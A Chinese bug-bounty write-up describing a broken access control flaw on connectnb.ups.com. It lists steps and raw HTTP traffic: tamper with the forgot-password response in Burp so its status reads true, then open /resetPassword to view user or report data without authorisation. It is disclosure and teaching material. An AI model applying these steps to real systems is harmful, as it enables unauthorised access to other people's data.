bac漏洞系列-一个bac漏洞

• 背景

• 复现步骤

声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。

背景

nayefhamouda于2022年4月份提交的这个权限相关的漏洞: 

白帽小哥发现可以越权访问团队管理面板;

复现步骤

1.登陆 connectnb.ups.com：

2.进入https://connectnb.ups.com/Layout/forgotPassword，输入任何电子邮件地址，拦截请求:

POST /api/Account/SendTempPassword/[email protected] HTTP/2
Host: connectnb.ups.com
Cookie: __RequestVerificationToken=ZSZXAd3wrj6GSWF1seZAIWIUPQiK4spv-xbaxR_3HxFgJnaSGKr7xXlb9iHYEUQVloknAoTtK5DmWtjdP7yVT7MQ6Z2JW3d5kK2qoxDAbas1
Content-Length: 0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="99", "Google Chrome";v="99"
Accept: application/json, text/plain, */*
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36
Sec-Ch-Ua-Platform: "Linux"
Origin: https://connectnb.ups.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,ar;q=0.7

3.在burp里面，拦截此请求的响应并将其中的status更改为 true

HTTP/2 200 OK
Cache-Control: no-cache,no-cache,no-store
Pragma: no-cache,no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Server: 
X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block
Referrer-Policy: no-referrer
Strict-Transport-Security: max-age=31536000; includeSubDomains;preload
X-Frame-Options: DENY
X-Ua-Compatible: IE=Edge
Content-Security-Policy: script-src 'self'; object-src 'self'; frame-ancestors 'none'
Expect-Ct: enforce, max-age=7776000, report-uri='https://connectnb.ups.com/'
Access-Control-Allow-Headers: Accept, Content-Type, Origin
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Date: Wed, 13 Apr 2022 05:09:59 GMT
Content-Length: 89

{"status":true,"errorMessage":"Username does not exist. Please enter correct Username."}

4.然后，转到这个路径: /resetPassword。您会注意到这个页面已经打开，没有任何问题:

发现可以越权查看用户或报告信息了;

这小哥挺有才华的,一边poc的时候还一边唱着rap   =====》== 链接: https://pan.baidu.com/s/1dMwwD3oU0Ahv5G3e1oJE9w  密码: 6j3v